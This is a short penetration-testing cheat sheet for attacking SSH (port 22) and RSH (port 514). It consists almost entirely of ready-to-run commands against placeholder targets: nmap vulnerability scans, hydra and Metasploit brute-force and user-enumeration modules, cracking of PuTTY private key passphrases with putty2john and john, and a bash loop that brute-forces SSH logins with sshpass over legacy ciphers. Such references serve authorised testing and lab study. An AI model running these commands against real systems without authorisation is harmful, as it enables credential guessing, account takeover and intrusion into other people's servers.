SSH Pentest - Port 22

NMAP Commands

nmap -sCV -p22 10.10.10.10

#nmap Vuln scan 
nmap -sC --script vuln,vulners -Pn -p22 10.10.10.10

#nmap Algorithm enum
#if you find CBC & HMAC in ciphers --> vulnerable 
nmap -Pn -sS -sV -p 22 --script ssh2-enum-algos 10.10.10.10

Brute Forcing

hydra -L userx.txt -P wordlist.txt -v VICTIM_IP ssh
hydra -l username -P password_file.txt -s port ssh

Enum via Metasploit

#User Enum --> works only on few old versions 
use auxiliary/scanner/ssh/ssh_enumusers

#Version Detection
use auxiliary/scanner/ssh/ssh_version

#Brutefocing SSH
use auxiliary/scanner/ssh/ssh_login

#FTP Bruteforce
use auxiliary/scanner/ftp/ftp_login

Cracking SSH Private Key.ppk

sudo apt install putty-tools

#Genrate id_rsa for ssg login, if it asks for password - Password needs to be cracked
puttygen private.ppk -O private-openssh -o id_rsa

putty2john private.ppk > hash 

john --format=PuTTY --fork=4 hash -w=wordlist.txt

#Enter the cracked password
puttygen private.ppk -O private-openssh -o id_rsa

RSH - Port 514 

Older version of SSH; password cannot be used; 
- Either user a private key or allow based on the hosts.. 
- Depricated

rsh root@10.10.10.10

OLD SSH Ciphers 

ssh -oHostKeyAlgorithms=+ssh-dss root@10.10.10.10

#no matching host key type found. Their offer: ssh-rsa,ssh-dss
ssh -o KexAlgorithms=diffie-hellman-group14-sha1 -oHostKeyAlgorithms=+ssh-dss root@10.10.10.10|

#Bruteforcing SSH using old ciphers 
for username in $(cat /usr/share/wordlists/ssh_usernames.txt); do sshpass -p $username ssh -o KexAlgorithms=diffie-hellman-group14-sha1 -oHostKeyAlgorithms=+ssh-dss $username@10.10.10.10 & done